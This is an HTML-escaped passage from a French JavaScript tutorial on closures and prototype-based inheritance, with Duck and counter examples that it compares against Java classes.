&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;adder&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;adder&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;add2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;add2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// result equals 5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Allons un pas plus loin comme le propose &lt;a href="http://shop.oreilly.com/product/0636920027065.do"&gt;Head First Javascript&lt;/a&gt; et écrivons: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Global&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Local&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// return the function&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;baz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;baz&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// result equals Local or Global ? &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Puisque l&amp;rsquo;on retourne une fonction, l&amp;rsquo;appel à &lt;code&gt;baz&lt;/code&gt; est un appel de la fonction &lt;code&gt;inner&lt;/code&gt;… puisque &lt;code&gt;bar&lt;/code&gt; retourne cette fonction &lt;code&gt;inner&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La question de savoir que retourne la fonction &lt;code&gt;baz&lt;/code&gt; est la même que de se demander si Javascript retourne la variable locale ou la variable globale. Mon raisonnement — si je suis habitué à des langages comme Java et C++ et que je suis l&amp;rsquo;appel des méthodes, la création / destruction des variables locales — me dit que c&amp;rsquo;est &lt;code&gt;"Global"&lt;/code&gt; qui est retourné. En effet, je pense — à tort comme nous allons voir — que comme la fonction &lt;code&gt;bar&lt;/code&gt; n&amp;rsquo;est appelée qu&amp;rsquo;une seule fois lors de l&amp;rsquo;assignation de &lt;code&gt;bar&lt;/code&gt; à &lt;code&gt;baz&lt;/code&gt;, la variable locale &lt;code&gt;foo&lt;/code&gt; n&amp;rsquo;existe plus lors de l&amp;rsquo;appel à &lt;code&gt;baz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est sans compter sur les closures, mon bon.&lt;br&gt;
— Qu&amp;rsquo;est-ce donc, mon brave ?&lt;/p&gt;
&lt;p&gt;Une &lt;strong&gt;closure&lt;/strong&gt; est une fonction &lt;strong&gt;et&lt;/strong&gt; l&amp;rsquo;environnement dans lequel elle est définie. Dans l&amp;rsquo;exemple, lorsque &lt;code&gt;bar&lt;/code&gt; retourne &lt;code&gt;inner&lt;/code&gt;, elle retourne aussi l&amp;rsquo;environnement de &lt;code&gt;bar&lt;/code&gt;… à savoir la variable locale &lt;code&gt;foo = "Local"&lt;/code&gt;. Dès lors, quand &lt;code&gt;baz&lt;/code&gt; est appelé, &lt;code&gt;inner&lt;/code&gt; est exécutée dans l&amp;rsquo;environnement dans lequel elle a été définie. Elle retourne donc la valeur &lt;code&gt;"Local"&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;closure&lt;/strong&gt; n.f. Une fonction et son environnement c&amp;rsquo;est-à-dire le contexte dans lequel elle a été définie.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Les fonctions Javascript sont donc toujours évaluées dans l&amp;rsquo;environnement dans lequel elles ont été définies. Leur &lt;em&gt;lexical scope&lt;/em&gt;, portée lexicale. Grâce à ce concept, on pourra éviter l&amp;rsquo;utilisation de variables globales. &lt;em&gt;Les variables globales, c&amp;rsquo;est le mal&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Là où je pourrais avoir envie d&amp;rsquo;écrire (mais c&amp;rsquo;est mal, rappelle-toi):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// counter(); counter()…&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;avec les &lt;em&gt;closures&lt;/em&gt;, je peux me passer de la variable globale en ajoutant « un niveau de fonction » comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;makeCounter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;makeCounter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// do(); do(); do()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La variable &lt;code&gt;count&lt;/code&gt; est une &lt;strong&gt;variable libre (&lt;em&gt;free variable&lt;/em&gt;)&lt;/strong&gt; dans la fonction &lt;code&gt;counter&lt;/code&gt;, elle n&amp;rsquo;est pas globale, ni locale ni un paramètre. La closure est faite par la fonction &lt;code&gt;makeCounter&lt;/code&gt; qui retourne la fonction &lt;code&gt;counter&lt;/code&gt; et son environnement. Environnement qui contient la variable &lt;code&gt;count&lt;/code&gt;. Même après l&amp;rsquo;appel (unique) à la méthode &lt;code&gt;makeCounter&lt;/code&gt;, la variable (locale à &lt;code&gt;makeCounter&lt;/code&gt;) continue d&amp;rsquo;exister dans l&amp;rsquo;environnement de la fonction &lt;code&gt;counter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nous verrons plus encore l&amp;rsquo;utilité de ceci lorsque l&amp;rsquo;on voudra programmer en orienté objet — et donc mettre en œuvre l&amp;rsquo;héritage et le polymorphisme — et que l&amp;rsquo;on constatera que Javascript n&amp;rsquo;implémente pas la notion classique par classes de l&amp;rsquo;orienté objet mais un héritage par prototype.&lt;/p&gt;
&lt;h2 id="inheritance"&gt;Héritage par prototype &lt;em&gt;versus&lt;/em&gt; héritage classique (par classes)&lt;/h2&gt;
&lt;p&gt;Javascript permet de créer des &lt;em&gt;objects literals&lt;/em&gt; (des littéraux objets) qui représentent une instance d&amp;rsquo;un objet. Un objet a des propriétés et des fonctions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Ducky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// code function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Comment faire pour déclarer une classe et instancier moult objets de la même classe ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Java permet de déclarer une classe. Cette classe contient des membres — attributs, méthodes et constructeurs — statiques ou non. Les membres statiques sont partagés par toutes les instances. Les autres sont propres à une instance.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// code method&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;Duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Ducky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Javascript permet de créer un constructeur et d&amp;rsquo;instancier des objets à partir de ce constructeur et du mot clé &lt;code&gt;this&lt;/code&gt;. Un constructeur est une fonction contenant des propriétés — précédées de &lt;code&gt;this&lt;/code&gt; qui référence l&amp;rsquo;objet — et des fonctions. Par convention ce constructeur s&amp;rsquo;écrit en &lt;em&gt;CamelCase&lt;/em&gt; — le nom commence par une majuscule — comme en Java.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// code function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Ducky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Javascript va créer toutes les propriétés définies dans le constructeur &lt;strong&gt;y compris les fonctions&lt;/strong&gt; pour toutes les instances. Une fonction sera donc présente — avec son environnement — autant de fois que l&amp;rsquo;objet est instancié. C&amp;rsquo;est un problème.&lt;/p&gt;
&lt;p&gt;La solution est le &lt;strong&gt;prototype&lt;/strong&gt;. Ce prototype est une propriété du constructeur. Dans ce prototype (unique) peuvent se trouver des propriétés et des fonctions. Ces propriétés et fonctions sont communes à toutes les instances créées à partir du constructeur.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on ajoute des propriétés ou des fonctions au prototype alors que des objets ont déjà été créés, pas de soucis. Toutes les instances présentes et à venir en bénéficieront. Si l&amp;rsquo;on décide de réécrire une fonction dans une instance particulière seule cette instance bénéficiera de la réécriture. Javascript cherche une propriété ou une fonction dans l&amp;rsquo;objet. S&amp;rsquo;il ne trouve pas, il cherche dans le prototype. On écrira donc quelque chose à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// code function&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si une propriété définie dans le prototype — et donc disponible et partagée par toutes les instances — est changée par une instance alors une copie de cette propriété est attribuée à l&amp;rsquo;instance. La valeur initiale, celle dans le prototype est conservée.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;baz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// bar = false, it&amp;#39;s prototype value&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// new bar property for this&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Ducky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;duck&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;baz&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;// duck have now new property bar. value is true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est possible d&amp;rsquo;avoir une chaine de prototypes. C&amp;rsquo;est « l&amp;rsquo;héritage par prototype ». Là où Java — via le mot clé &lt;em&gt;extends&lt;/em&gt; — permet de créer une nouvelle classe, Javascript — et son héritage par prototype — demande de préciser que le prototype est celui du parent. Pour écrire correctement un objet enfant en Javascript, on peut écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

